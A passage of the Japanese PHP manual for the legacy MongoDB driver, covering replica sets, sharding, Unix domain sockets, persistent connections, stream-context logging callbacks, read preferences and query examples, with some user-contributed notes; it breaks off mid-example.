シードリストでは IP アドレスを使い、レプリカセットの設定にはホスト名を使っていたとすると、 レプリカセットの報告するホスト名と違うシードリスト接続はすべて破棄します。 事実上、これらのシードリスト接続は、リクエストのたびに作り直されることになり、 持続的接続の利点を大きく損ねてしまいます。

警告

異なるレプリカセットに同じ名前で接続することはできません。 これは単一のスクリプト内だけの話ではないので、個々のレプリカセットにはそれぞれ別の名前をつけておくようにしましょう。 これはつまり、次のようなことはできないということです。

例2 レプリカセット名の重複

<?php
$m = new MongoClient("mongodb://devserver1,devserver2,devserver3/?replicaSet=repset");
$m = new MongoClient("mongodb://prodserver1,prodserver2,prodserver3/?replicaSet=repset");
?>

それぞれ、別の名前をつかる必要があります。

例3 異なるレプリカセットの正しい使いかた

<?php
$m = new MongoClient("mongodb://devserver1,devserver2,devserver3/?replicaSet=devset");
$m = new MongoClient("mongodb://prodserver1,prodserver2,prodserver3/?replicaSet=prodset");
?>

プライマリが使えなくなったときに、セカンダリがプライマリになるには数秒かかります。 その間は、この接続では一切のデータベース操作ができなくなります (セカンダリに接続して読み込みを行うことは可能です)。 したがって、この間 (» 20-60 秒) に何らかの読み書き操作をすると例外が発生します。 セカンダリへの接続は可能で、読み込みはできます。

注意:

デフォルトの 優先読み込み では、プライマリからだけ読み込みます。サーバーを選択するときにプライマリが見つからなければ、 その読み込みは失敗します。

読み込みについて高可用性が要求されるアプリケーションでは、優先読み込み設定を MongoClient::RP_PRIMARY_PREFERRED にしておくことをおすすめします。 これは、プライマリが使えない場合にだけセカンダリからの読み込みを実行する設定です。

新しいプライマリが選ばれると、読み込みや書き込みの操作時にドライバが新しいプライマリを検出できるようになります。 そして、ドライバがデータベース接続を切り替えて通常の操作を続行できるようになります。

セカンダリの health や state のチェックは 5 秒おきに行うか (mongo.ping_interval で変更可能)、あるいは 5 秒以上経過した後の次の操作のときに行います。 ドライバからサーバーに到達できない問題が発生したときにも設定を再チェックします。

レプリカセットのフェイルオーバーは 60 秒おきにチェックします (mongo.is_master_interval で変更可能)。また、確認付き書き込みを利用している際に書き込みに失敗したときにもフェイルオーバーします。

警告

セカンダリのデータはプライマリに比べて古くなっている可能性があります。 MongoClient::RP_PRIMARY 以外の優先読み込みを選ぶ場合は、 最新ではないデータでもアプリケーション側で対応できるようにしておかないといけません。

レプリカセットについての詳細は、 » コアドキュメント を参照ください。

参考

  • 優先読み込み
  • Write Concerns

変更履歴

バージョン | 説明
1.0.9 | レプリカセットへの接続と自動フェイルオーバーに対応しました。

User Contributed Notes

wpigott at nospam dot example dot com 17-Dec-2012 11:46
When using the mongodb connection string on a replica set, make sure you DO NOT PUT A SPACE between the servers.

IE. mongodb://db1.example.com:27017, db2.example.com:27017 will throw an error, but mongodb://db1.example.com:27017,db2.example.com:27017 will work correctly.


シャーディング

シャードクラスタに接続するには、一つあるいは複数の mongos インスタンスの場所を接続文字列で指定します。 複数のサーバーを指定する場合はカンマで区切ります。

<?php
// 単一のサーバーをシードリストとして使います
$m = new MongoClient("mongodb://mongos1.example.com:27017");

// 複数のサーバーをシードリストとして使います
$m = new MongoClient("mongodb://mongos1.example.com:27017,mongos2.example.com:27017");
?>

各サーバーがスタンドアロンの mongod であるか完全なレプリカセットであるかにかかわらず、ドライバの接続手順は同じです。 データベースとの通信は、すべて mongos を通して行います。

MongoDB におけるシャーディングの詳細な情報は » シャーディングのドキュメント を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


ドメインソケットのサポート

MongoDB は Unix ドメインソケット経由での接続をサポートしており、起動時にソケットを開きます。 デフォルトのソケットの場所は /tmp/mongodb-<port>.sock です。

ソケットファイルに接続するには、このパスを MongoDB 接続文字列に指定します。

<?php
$m = new MongoClient("mongodb:///tmp/mongo-27017.sock");
?>

上で示したようなソケットファイルへの接続で認証を使いたい場合は、 ポート番号 0 を指定しなければなりません。 接続文字列のパーサは、これを接続文字列の終端と見なします。 あるいは、コンストラクタのオプションを使うこともできます。

<?php
$m = new MongoClient("mongodb://username:password@/tmp/mongo-27017.sock:0/foo");
?>

変更履歴

バージョン | 説明
1.0.9 | Unix ドメインソケットに対応しました。

User Contributed Notes

mike at eastghost dot com 10-Oct-2013 02:36
We've enjoyed a 100x - 200x speed boost, just changing from TCP connection to unix domain socket.  Page loads went from 1,400 ms down to 7 ms instantly.
ere dot maijala at helsinki dot fi 08-Aug-2013 01:38
In my case (CentOS 6.4, PHP 5.3.3, MongoDB 2.4.5, PHP Mongo driver 1.4.2, all on the same system under VMWare, mixed updates, inserts and finds) unix domain sockets seem to work more than ten times faster than a TCP/IP connection to localhost.
East Ghost Com 03-May-2013 08:40
Confirming fast performance running Apache and MongoDB (even a replicaSet secondary, with distant primary over WAN) on same box, communicating via unix domain socket.

$Mongo = new \MongoClient(
    'mongodb:///tmp/mongodb-27017.sock'
        , array(
            'replicaSet' => 'rs1'
            , 'timeout' => 300000
        )
);
$Mdb = $Mongo->DB; // create or open DB
$Mdb->setReadPreference( \MongoClient::RP_NEAREST );

"Postgres core developer Bruce Momjian has blogged about this topic. Momjian states, "Unix-domain socket communication is measurably faster." He measured query network performance showing that the local domain socket was 33% faster than using the TCP/IP stack."

http://stackoverflow.com/questions/257433/postgresql-unix-domain-sockets-vs-tcp-sockets

Excerpt: IP sockets over localhost are basically looped back network on-the-wireIP. There is intentionally "no special knowledge" of the fact that the connection is to the same system, so no effort is made to bypass the normal IP stack mechanisms for performance reasons. For example, transmission over TCP will always involve two context switches to get to the remote socket, as you have to switch through the netisr, which occurs following the "loopback" of the packet through the synthetic loopback interface. Likewise, you get all the overhead of ACKs, TCP flow control, encapsulation/decapsulation, etc. Routing will be performed in order to decide if the packets go to the localhost. Large sends will have to be broken down into MTU-size datagrams, which also adds overhead for large writes. It's really TCP, it just goes over a loopback interface by virtue of a special address, or discovering that the address requested is served locally rather than over an ethernet (etc).

UNIX domain sockets have explicit knowledge that they're executing on the same system. They avoid the extra context switch through the netisr, and a sending thread will write the stream or datagrams directly into the receiving socket buffer. No checksums are calculated, no headers are inserted, no routing is performed, etc. Because they have access to the remote socket buffer, they can also directly provide feedback to the sender when it is filling, or more importantly, emptying, rather than having the added overhead of explicit acknowledgement and window changes. The one piece of functionality that UNIX domain sockets don't provide that TCP does is out-of-band data. In practice, this is an issue for almost noone.

http://osnet.cs.binghamton.edu/publications/TR-20070820.pdf

Excerpt: It was hypothesized that pipes would have the highest throughtput due to its limited functionality, since it is half-duplex, but this was not true. For almost all of the data sizes transferred, Unix domain sockets performed better than both TCP sockets and pipes, as can be seen in Figure 1 below. Figure 1 shows the transfer rates for the IPC mechanisms, but it should be noted that they do not represent the speeds obtained by all of the test machines. The transfer rates are consistent across the machines with similar hardware con?gurations though. On some machines, Unix domain sockets reached transfer rates as high as 1500 MB/s.

http://bhavin.directi.com/unix-domain-sockets-vs-tcp-sockets/


持続的接続 (バージョン 1.3.0 以降)

バージョン 1.3.0 以降のドライバは、持続的接続を活用してデータベースサーバーへの接続数を最小化します。 接続は PHP のワーカープロセスに保存され、別のリクエストで再利用されることもあります。

データベースサーバーに接続する前に、ドライバはその接続のハッシュ値を算出します。 このときに利用する情報は、ホストやポート、レプリカセット名 (使っている場合)、 認証情報 (ユーザー名、パスワード、データベース名)、プロセス ID です。 同じハッシュ値の接続が既に存在する場合は、新しい接続を作らずに既存の接続を再利用します。 個々の持続的接続の情報を取得するには MongoClient::getConnections() を使います。 次のプログラムを見てみましょう。

<?php

$m1 = new MongoClient('mongodb://localhost');
$m2 = new MongoClient('mongodb://localhost');
$m3 = new MongoClient('mongodb://user:pw@localhost');
$m4 = new MongoClient('mongodb://127.0.0.1');
$m5 = new MongoClient('mongodb://rs1.local:30017,rs2.local:30018/?replicaSet=rs');
$m6 = new MongoClient('mongodb://sharding.local:40017');

foreach (MongoClient::getConnections() as $conn) {
    echo $conn['hash'], "\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

localhost:27017;-;X;15487
localhost:27017;-;admin/user/c56c...8bbc;15487
127.0.0.1:27017;-;X;15487
rs1.local:30017;rs;X;15487
rs2.local:30018;rs;X;15487
sharding.local:40017;-;X;15487

この例では $m1 と $m2 のハッシュ値が同じになるので、 これらは持続的接続を共有します。その他の MongoClient インスタンス用の接続はハッシュ値が別になるので、 それぞれ別のソケットを利用します。 "localhost" と "127.0.0.1" のハッシュ値が同じにならないことに注意しましょう。 DNS の名前解決については考慮していません。

User Contributed Notes

There are no user contributed notes for this page.


接続プーリング (バージョン 1.2.0-1.2.12 限定)

注意:

この節の内容は、1.3.0 以降のドライバには無関係です。 歴史的な情報として、かつてプーリングをどのように使っていたかを残しておきます。

最新版のドライバにはプーリングという概念がなく、プロセスごとに一つの接続を保持します。 接続形式 (ReplicaSet/standalone/mongos) と条件の組み合わせごとにプロセスがわかれます。

接続の作成は、ドライバが行う作業の中でも最も重量級の作業です。 接続を正しく確立するには、どんなに高速なネットワークであっても数百ミリ秒はかかることがあります。 そこで、ドライバが新たな接続を作る回数をできるだけ減らすために、 プールにある接続を再利用することを考えます。

ユーザーが新しい Mongo のインスタンスを作ると、 必要な接続はすべて接続プールから取り出します (レプリカセットへの接続には 複数の接続が必要となることもあります。それぞれが、セット内の個々のメンバーへの接続となります)。 Mongo のインスタンスがスコープ外に出ると、接続をプールに返します。 PHP のプロセスが終了すると、プール内のすべての接続が閉じられます。

"なぜこんなに接続をオープンしてしまっているの?"

接続プールが作成する接続の数が大量になることがあります。 これは意外なことではなく、ちょっとした計算をすればどれだけの接続が必要になるかがわかります。 接続の総数に影響するのは、次の三要素です。

  • connections_per_pool

    各接続プールが作成する接続の数は、デフォルトでは無制限です。 これは問題だと感じる人もいるでしょう。無制限に作れるとしても、 ファイルディスクリプタの制限があるから何千も作るのは無理じゃないか? と。 実際のところ、そこまで達することはあり得ません。 未使用の接続はプールに返されてその後再利用されるので、 後から接続を利用するときには新しく作るのではなく既存の接続を使います。 何千もの接続を一気に作ってどれもスコープから外れないようにでもしない限り、 接続の数は常識的な範囲に収まります。

    プール内の接続数を知るには MongoPool::info() を使います。 指定したサーバーの "in use" フィールドと "in pool" フィールドの値を足した結果が、 そのプールの接続の総数となります。

  • pools_per_process

    接続先の MongoDB サーバーごとに、自前の接続プールを持っています。 たとえばローカルのホスト名が "example.net" のときに "example.net:27017"、"localhost:27017"、そして "/tmp/mongodb-27017.sock" に接続すると、全部で 3 つの接続プールができることになります。 開いている接続プールの総数は MongoPool::info() で取得できます。

  • processes

    PHP のプロセスごとに、プール群は分かれています。 PHP-FPM や Apache は、一般的に 6 から数十の間の PHP ワーカープロセスを作ります。最大でどれだけの PHP プロセスが立ち上がる設定になっているか、確認しましょう。

    PHP-FPM を使っている場合は、接続数の見積もりは多少面倒です。 というのも、負荷が高くなると PHP-FPM ワーカーをより多く立ち上げるようになるからです。 安全側に倒すなら、max_children パラメータあるいは spare_servers+start_servers (のどちらか大きいほう) を確認しましょう。これが、想定すべき PHP プロセス数 (そして、プール数) となります。

これら 3 つの変数を掛け合わせた connections_per_pool * pools_per_process * processes で、接続の総数が得られます。connections_per_pool はプールによって異なることに注意しましょう。つまり、この計算をするときには connections_per_pool は最大値を使わなければなりません。

たとえば、プールごとに 30 の接続があって PHP のプロセスあたり 10 のプールを用意し、 さらに PHP が 128 プロセスあるものとします。この場合、マシン上での接続数は 38400 になります。したがって、これだけの数をさばける程度にファイルディスクリプタの制限を増やしておく必要があります。 ファイルディスクリプタの上限に達してしまうと、それ以上の接続は処理できなくなります。

接続プーリングに関する詳細な情報は MongoPool を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


手動での持続的接続 (バージョン 1.1.4 まで限定)

注意:

この節は 1.2.0 以降のバージョンには関係ありません。 1.2.0 以降、接続は常に持続的なものとなり、 ドライバが自動管理するようになりました。 1.2.x (1.3.x 以降は除く) を使っている場合は、 プーリングに関する詳細な情報は MongoPool を参照ください。

データベースへの接続を新たに確立させるには、非常に時間がかかります。 データベースへ接続の作成回数を最小限にするには、持続的接続を使うことができます。 持続的接続は PHP が保持するので、同じ接続を使って複数のリクエストを送ることができます。

たとえば、この単純なプログラムはデータベースに 1000 回接続します。

<?php

for ($i=0; $i<1000; $i++) {
  $m = new MongoClient();
}

?>

実行時間は約 18 秒です。これを、持続的接続を使うように変更してみましょう。

<?php

for ($i=0; $i<1000; $i++) {
  $m = new MongoClient("localhost:27017", array("persist" => "x"));
}

?>

実行時間は 0.02 秒未満になりました。データベースへの接続は 1 回だけしか行わないからです。

持続的接続には識別用の文字列 (上の例では "x") が必要で、これを使って接続を識別します。 持続的接続を使うには、ホスト名とポート、持続文字列、そしてユーザー名とパスワード(指定した場合) が既存の持続的接続と一致しなければなりません。 一致しない場合は、この識別情報で新しい接続を作成します。

持続的接続を使うことを強く推奨します。 実運用環境では、やむを得ぬ理由がない限り常に持続的接続を使うべきです。 リレーショナルデータベースにおいて持続的接続を推奨しない理由はいくつかありますが、 その大半は MongoDB には無関係なものです。

User Contributed Notes

There are no user contributed notes for this page.


Stream Context Options

The PHP MongoDB extension provides Stream Context Support using the mongodb context.

A stream context must be created with stream_context_create() and passed to the MongoClient::__construct() before the actual connection to MongoDB is made. It is not possible to apply a stream context to already created streams.

Additional context options and parameters, such as ssl and notification parameters, are also supported.

The MongoDB context options provide a rich interface to log network traffic between the driver and the MongoDB servers. This interface can be used to provide query logging, profiler, debuggers, or anything that would need to inspect the underlaying commands and protocol options.

参考

  • SSL コンテキストオプション
  • ソケットコンテキストオプション
  • コンテキストパラメータ

目次

  • log_cmd_delete — Callback When Deleting Documents
  • log_cmd_insert — Callback When Inserting Documents
  • log_cmd_update — Callback When Updating Documents
  • log_getmore — Callback When Retrieving Next Cursor Batch
  • log_killcursor — Callback When Executing KILLCURSOR operations
  • log_reply — Callback When Reading the MongoDB reply
  • log_write_batch — Callback When Writing Batches

User Contributed Notes

There are no user contributed notes for this page.


Callback When Deleting Documents

  • ≪ Stream Context Options
  • log_cmd_insert ≫
  • PHP Manual
  • Stream Context Options
  • Callback When Deleting Documents

log_cmd_delete

(PECL mongo >= 1.5.0)

log_cmd_delete — Callback When Deleting Documents

説明

log_cmd_delete ( array $server , array $writeOptions , array $deleteOptions , array $protocolOptions )

A callable function, used by the log_cmd_delete context option, when deleteing a document

注意:

This is not a real function, only a prototype of how the function should be.

パラメータ

server

選んだサーバーについての基本情報を含む配列。

キー | 値
hash | ハーバーハッシュ。例：localhost:27017;-;X;56052
type | ノード型 (primary/secondary/mongos/arbiter)。例：2
max_bson_size | このノードがネットワーク越しに受け付ける BSON の最大サイズ。例：16777216
max_message_size | このノードがネットワーク越しに受け入れるメッセージの最大サイズ。例：48000000
request_id | このメッセージのリクエスト識別子。例：42

writeOptions

キー | 値
ordered | boolean で、バッチ操作をシーケンシャルに行う必要がある (orderd = true) かどうかを表します。
writeConcern | 書き込み確認のオプションの配列 (以下を参照ください)
書き込み確認の配列の値
キー | 値
fsync | boolean で、強制的にディスクへのフラッシュをしてから返します。
j | boolean で、強制的にジャーナルに書き出してから返します。
wtimeout | integer で、プライマリがレプリケーションの検証までに待つ最大の時間をミリ秒で指定します。
w | integer でサーバー数、あるいは文字列でレプリケーションタグを指定します。

deleteOptions

key | value
limit | integer, 1 or 0. If 0, delete all matching documents.
q | Array, the search criteria

protocolOptions

キー | 値
message_length | ネットワーク越しに送信するエンコード済みメッセージのサイズ (バイト数)。
request_id | このメッセージのリクエスト識別子。例：42
namespace | プロトコルメッセージに使う、MongoDB 名前空間。例：dbname.collectionname

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | Only available when connected to MongoDB 2.6.0+

User Contributed Notes

There are no user contributed notes for this page.


Callback When Inserting Documents

  • ≪ log_cmd_delete
  • log_cmd_update ≫
  • PHP Manual
  • Stream Context Options
  • Callback When Inserting Documents

log_cmd_insert

(PECL mongo >= 1.5.0)

log_cmd_insert — Callback When Inserting Documents

説明

log_cmd_insert ( array $server , array $document , array $writeOptions , array $protocolOptions )

A callable function, used by the log_cmd_insert context option, when inserting a document

注意:

This is not a real function, only a prototype of how the function should be.

パラメータ

server

選んだサーバーについての基本情報を含む配列。

キー | 値
hash | ハーバーハッシュ。例：localhost:27017;-;X;56052
type | ノード型 (primary/secondary/mongos/arbiter)。例：2
max_bson_size | このノードがネットワーク越しに受け付ける BSON の最大サイズ。例：16777216
max_message_size | このノードがネットワーク越しに受け入れるメッセージの最大サイズ。例：48000000
request_id | このメッセージのリクエスト識別子。例：42

document

The document that has been prepared to be inserted

writeOptions

キー | 値
ordered | boolean で、バッチ操作をシーケンシャルに行う必要がある (orderd = true) かどうかを表します。
writeConcern | 書き込み確認のオプションの配列 (以下を参照ください)
書き込み確認の配列の値
キー | 値
fsync | boolean で、強制的にディスクへのフラッシュをしてから返します。
j | boolean で、強制的にジャーナルに書き出してから返します。
wtimeout | integer で、プライマリがレプリケーションの検証までに待つ最大の時間をミリ秒で指定します。
w | integer でサーバー数、あるいは文字列でレプリケーションタグを指定します。

protocolOptions

キー | 値
message_length | ネットワーク越しに送信するエンコード済みメッセージのサイズ (バイト数)。
request_id | このメッセージのリクエスト識別子。例：42
namespace | プロトコルメッセージに使う、MongoDB 名前空間。例：dbname.collectionname

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | Only available when connected to MongoDB 2.6.0+

User Contributed Notes

There are no user contributed notes for this page.


Callback When Updating Documents

  • ≪ log_cmd_insert
  • log_getmore ≫
  • PHP Manual
  • Stream Context Options
  • Callback When Updating Documents

log_cmd_update

(PECL mongo >= 1.5.0)

log_cmd_update — Callback When Updating Documents

説明

log_cmd_update ( array $server , array $writeOptions , array $updateOptions , array $protocolOptions )

A callable function, used by the log_cmd_update context option, when updateing a document

注意:

This is not a real function, only a prototype of how the function should be.

パラメータ

server

選んだサーバーについての基本情報を含む配列。

キー | 値
hash | ハーバーハッシュ。例：localhost:27017;-;X;56052
type | ノード型 (primary/secondary/mongos/arbiter)。例：2
max_bson_size | このノードがネットワーク越しに受け付ける BSON の最大サイズ。例：16777216
max_message_size | このノードがネットワーク越しに受け入れるメッセージの最大サイズ。例：48000000
request_id | このメッセージのリクエスト識別子。例：42

writeOptions

キー | 値
ordered | boolean で、バッチ操作をシーケンシャルに行う必要がある (orderd = true) かどうかを表します。
writeConcern | 書き込み確認のオプションの配列 (以下を参照ください)
書き込み確認の配列の値
キー | 値
fsync | boolean で、強制的にディスクへのフラッシュをしてから返します。
j | boolean で、強制的にジャーナルに書き出してから返します。
wtimeout | integer で、プライマリがレプリケーションの検証までに待つ最大の時間をミリ秒で指定します。
w | integer でサーバー数、あるいは文字列でレプリケーションタグを指定します。

updateOptions

key | value
multi | Boolean, true if this update is allowed to update all matched criteria
upsert | Boolean, true if the document should be created if criteria does not match
q | Array, the search criteria
u | Array, the new object/modifications

protocolOptions

キー | 値
message_length | ネットワーク越しに送信するエンコード済みメッセージのサイズ (バイト数)。
request_id | このメッセージのリクエスト識別子。例：42
namespace | プロトコルメッセージに使う、MongoDB 名前空間。例：dbname.collectionname

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | Only available when connected to MongoDB 2.6.0+

User Contributed Notes

There are no user contributed notes for this page.


Callback When Retrieving Next Cursor Batch

  • ≪ log_cmd_update
  • log_killcursor ≫
  • PHP Manual
  • Stream Context Options
  • Callback When Retrieving Next Cursor Batch

log_getmore

(PECL mongo >= 1.5.0)

log_getmore — Callback When Retrieving Next Cursor Batch

説明

log_getmore ( array $server , array $info )

A callable function, used by the log_getmore context option, when executing a GET_MORE operation.

注意:

This is not a real function, only a prototype of how the function should be.

パラメータ

server

選んだサーバーについての基本情報を含む配列。

キー | 値
hash | ハーバーハッシュ。例：localhost:27017;-;X;56052
type | ノード型 (primary/secondary/mongos/arbiter)。例：2
max_bson_size | このノードがネットワーク越しに受け付ける BSON の最大サイズ。例：16777216
max_message_size | このノードがネットワーク越しに受け入れるメッセージの最大サイズ。例：48000000
request_id | このメッセージのリクエスト識別子。例：42

info

key | value
request_id | integer, the driver request identifier
cursor_id | integer, the cursor identifier being used to fetch more data
batch_size | integer, maximum number of documents being requested

User Contributed Notes

There are no user contributed notes for this page.


Callback When Executing KILLCURSOR operations

  • ≪ log_getmore
  • log_reply ≫
  • PHP Manual
  • Stream Context Options
  • Callback When Executing KILLCURSOR operations

log_killcursor

(PECL mongo >= 1.5.0)

log_killcursor — Callback When Executing KILLCURSOR operations

説明

log_killcursor ( array $server , array $info )

A callable function, used by the log_killcursor context option, when reading a killcursor from MongoDB.

注意:

This is not a real function, only a prototype of how the function should be.

パラメータ

server

選んだサーバーについての基本情報を含む配列。

キー | 値
hash | ハーバーハッシュ。例：localhost:27017;-;X;56052
type | ノード型 (primary/secondary/mongos/arbiter)。例：2
max_bson_size | このノードがネットワーク越しに受け付ける BSON の最大サイズ。例：16777216
max_message_size | このノードがネットワーク越しに受け入れるメッセージの最大サイズ。例：48000000
request_id | このメッセージのリクエスト識別子。例：42

info

key | value
cursor_id | integer, the cursor identifier to kill

User Contributed Notes

There are no user contributed notes for this page.


Callback When Reading the MongoDB reply

  • ≪ log_killcursor
  • log_write_batch ≫
  • PHP Manual
  • Stream Context Options
  • Callback When Reading the MongoDB reply

log_reply

(PECL mongo >= 1.5.0)

log_reply — Callback When Reading the MongoDB reply

説明

log_reply ( array $server , array $messageHeaders , array $operationHeaders )

A callable function, used by the log_reply context option, when reading a reply from MongoDB.

注意:

This is not a real function, only a prototype of how the function should be.

パラメータ

server

選んだサーバーについての基本情報を含む配列。

キー | 値
hash | ハーバーハッシュ。例：localhost:27017;-;X;56052
type | ノード型 (primary/secondary/mongos/arbiter)。例：2
max_bson_size | このノードがネットワーク越しに受け付ける BSON の最大サイズ。例：16777216
max_message_size | このノードがネットワーク越しに受け入れるメッセージの最大サイズ。例：48000000
request_id | このメッセージのリクエスト識別子。例：42

messageHeaders

key | value
length | integer, bytes, message reply length
request_id | integer, the server request identifier
response_id | integer, the driver request identifier this message is a response of
opcode | integer, the opcode id

operationHeaders

key | value
flags | integer, bitmask of protocol flags
cursor_id | integer, ID of the cursor created on the server (0 if none created, or its been exhausted)
start | The starting offset of this cursor
returned | integer, how many documents are returned in this trip

参考

  • The » OP_REPLY definition in the Wire Protocol

User Contributed Notes

There are no user contributed notes for this page.


Callback When Writing Batches

  • ≪ log_reply
  • 書き込み ≫
  • PHP Manual
  • Stream Context Options
  • Callback When Writing Batches

log_write_batch

(PECL mongo >= 1.5.0)

log_write_batch — Callback When Writing Batches

説明

log_write_batch ( array $server , array $writeOptions , array $batch , array $protocolOptions )

A callable function, used by the log_write_batch context option, when executing a batch operation.

注意:

This is not a real function, only a prototype of how the function should be.

パラメータ

server

選んだサーバーについての基本情報を含む配列。

キー | 値
hash | ハーバーハッシュ。例：localhost:27017;-;X;56052
type | ノード型 (primary/secondary/mongos/arbiter)。例：2
max_bson_size | このノードがネットワーク越しに受け付ける BSON の最大サイズ。例：16777216
max_message_size | このノードがネットワーク越しに受け入れるメッセージの最大サイズ。例：48000000
request_id | このメッセージのリクエスト識別子。例：42

writeOptions

キー | 値
ordered | boolean で、バッチ操作をシーケンシャルに行う必要がある (orderd = true) かどうかを表します。
writeConcern | 書き込み確認のオプションの配列 (以下を参照ください)
書き込み確認の配列の値
キー | 値
fsync | boolean で、強制的にディスクへのフラッシュをしてから返します。
j | boolean で、強制的にジャーナルに書き出してから返します。
wtimeout | integer で、プライマリがレプリケーションの検証までに待つ最大の時間をミリ秒で指定します。
w | integer でサーバー数、あるいは文字列でレプリケーションタグを指定します。

batch

Array, the actual batch operation.

protocolOptions

キー | 値
message_length | ネットワーク越しに送信するエンコード済みメッセージのサイズ (バイト数)。
request_id | このメッセージのリクエスト識別子。例：42
namespace | プロトコルメッセージに使う、MongoDB 名前空間。例：dbname.collectionname

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | Only available when connected to MongoDB 2.6.0+

User Contributed Notes

There are no user contributed notes for this page.


書き込み

ネストしたオブジェクトの更新

次のドキュメントで、コメントの author を変更することを考えましょう。

{
    "_id" : ObjectId("4b06c282edb87a281e09dad9"),
    "content" : "this is a blog post.",
    "comments" :
    [
        {
            "author" : "Mike",
            "comment" : "I think that blah blah blah...",
        },
        {
            "author" : "John",
            "comment" : "I disagree."
        }
    ]
}
内部のフィールドを変更するには、$set (他のフィールドが削除されてしまわないように!) を使って変更したいコメントのインデックスを指定します。
<?php

$blog->update($criteria, array('$set' => array("comments.1" => array("author" => "Jim"))));

?>

位置指定演算子

位置指定演算子 $ は、配列内のオブジェクトを更新するときに有用です。 たとえば上の例で、実際に変更したいコメントのインデックスがわからないけれども "John" を "Jim" に変更しなければならないという状況を考えてみましょう。 そんなときには $ が使えます。

<?php

$blog->update(
    array('comments.author' => 'John'),
    array('$set' => array('comments.$.author' => 'Jim')));

?>

User Contributed Notes

There are no user contributed notes for this page.


問い合わせ

問い合わせのセカンダリへの分散

すべての問い合わせ (読み書き両方) は、デフォルトではレプリカセットのプライマリメンバーにだけ送られます。 しかし、優先読み込み を使えばこれは簡単に変更できます。全般的な優先読み込み設定 (たとえばセカンダリからの読み込みは一番近いサーバーを選ぶなど) もできるし、特定の国やデータセンターあるいはハードウェア上にある特定のサーバーを指定することもできます。 そのときには レプリカセットのタグセット を使います。

優先読み込みの設定は、ドライバのあらゆるレベルでできます。

  • 問い合わせのパラメータ、あるいは MongoClient::__construct() のオプションで指定する
  • MongoClient::setReadPreference() を呼ぶ
  • データベースレベルなら MongoDB::setReadPreference() を呼ぶ
  • コレクションレベルなら MongoCollection::setReadPreference() を呼ぶ
  • カーソルレベルなら MongoCursor::setReadPreference() あるいは MongoCommandCursor::setReadPreference() を呼ぶ
「親」コンテキストで指定した優先読み込み設定を継承します。

例1 データベースレベルからカーソルへの優先読み込みの継承

<?php
$db->setReadPreference(MongoClient::RP_SECONDARY_PREFERRED);
$c = $db->myCollection;

$cursor = $c->find();
?>

この例のようにすると、問い合わせはセカンダリに対して実行されます (コレクションはデータベースから MongoClient::RP_SECONDARY_PREFERRED を引き継ぎ、カーソルがコレクションからそれを引き継ぎます)。

セカンダリはどのように選ばれるか

各 MongoClient インスタンスは、 利用可能なセカンダリの中から、ping の所要時間が最も短いものを自分のセカンダリとして選択します。 つまり、PHP クライアントがヨーロッパとオーストラリアにあって それぞれのデータセンターにひとつずつセカンダリがあるとすると、 このようにすることができます。

<?php
$options = array("replicaSet" => "setName", "readPreference" => MongoClient::RP_SECONDARY_PREFERRED);

// オーストラリアのクライアント
$m = new MongoClient("mongodb://primary,australianhost.secondary,europeanhost.secondary", $options);
$cursor = $m->foo->bar->find();
$cursor->getNext();
echo "Reading from: ", $cursor->info()["server"], "\n";

// ヨーロッパのクライアント
$m = new MongoClient("mongodb://primary,australianhost.secondary,europeanhost.secondary", $options);
$cursor = $m->foo->bar->find();
$cursor->getNext();
echo "Reading from: ", $cursor->info()["server"], "\n";
?>

上の例の出力は、 たとえば以下のようになります。

Reading from: australianHost
Reading from: europeanHost

クエリを実行してからでないとセカンダリの選択が行われないことに注意しましょう。 セカンダリの選択は、必要になった時点でドライバが行います。

セットのメンバーの現在の状態がどうなっているかを知るには、 MongoClient::getHosts() あるいは MongoClient::getConnections() を実行します。

読み込み可能な非プライマリサーバーがない場合は、 ドライバはプライマリから読み込みを行います。 MongoClient::RP_SECONDARY_PREFERRED を指定した場合は、セカンダリが使えない場合の代替策としてプライマリでクエリを実行するからです。 あるサーバーが読み込み可能であると判定される条件は、その state が 2 (SECONDARY) かつ health が 1 であることです。 これらをチェックするには MongoClient::getHosts() および MongoClient::getConnections() を使います。

その他の注意

書き込みは常にプライマリに送られます。そして、 デフォルトではすべての読み込みもプライマリに送られます。

_id による問い合わせ

追加されたすべてのオブジェクトには、一意な _id フィールドが自動的に付加されます。 これは、問い合わせで使うフィールドとして便利です。 これは "get last insert ID" と同じような働きをしますが、 _id は クライアント が選ぶものであるという点が違います。

今追加したばかりのドキュメントを探すことを考えてみましょう。 追加するとドキュメントに _id フィールドができるので、それを問い合わせればいいのです。

<?php
$person = array("name" => "joe");

$people->insert($person);

// $joe には _id フィールドがあります
$joe = $people->findOne(array("_id" => $person['_id']));
?>

ユーザーが別途指定しない限り、_id フィールドは MongoId となります。ありがちな間違いは、 文字列を MongoId とマッチさせようとすることです。 文字列とは別の型であり、そのままではマッチしないことを覚えておきましょう。 これは、文字列 "array()" と空の配列が別のものであるというのと同じことです。 次の例を参照ください。

<?php
$person = array("name" => "joe");

$people->insert($person);

// _id を文字列に変換します
$pid = $person['_id'] . "";

// 失敗 - $pid は文字列であり、MongoId ではありません
$joe = $people->findOne(array("_id" => $pid));
?>

配列

配列には特殊な点がいくつかあります。 まず、MongoDB が扱う配列には二種類あります。 "普通の" 配列と連想配列です。連想配列には、任意の型のキーと値を組み合わせることができます。 "普通の" 配列は、0 から始まってひとつずつ増えていく数値のインデックスに それぞれ要素を関連づけます。 これらは、ほぼ PHP の配列や連想配列と同じようなものです。

たとえば、受賞の一覧をドキュメントに保存するときには次のようにできます。

<?php

$collection->save(array("awards" => array("gold", "silver", "bronze")));

?>

問い合わせでは、配列の要素も探すことができます。 指定した値が配列の要素に含まれるすべてのドキュメントを探すことを考えましょう。 たとえば、受賞 (awards) に金賞 (gold) が含まれる次のようなドキュメントです。

{ "_id" : ObjectId("4b06c282edb87a281e09dad9"), "awards" : ["gold", "silver", "bronze"]}

これは、単純なクエリで問い合わせることができます。"awards" が配列であるということを気にせず、次のようにすればいいのです。

<?php

  $cursor = $collection->find(array("awards" => "gold"));

?>

もう少し複雑なオブジェクトを考えてみましょう。 配列の各要素のオブジェクトになっている、次のような例だとどうでしょう。

{
     "_id" : ObjectId("4b06c282edb87a281e09dad9"),
     "awards" :
     [
        {
            "first place" : "gold"
        },
        {
            "second place" : "silver"
        },
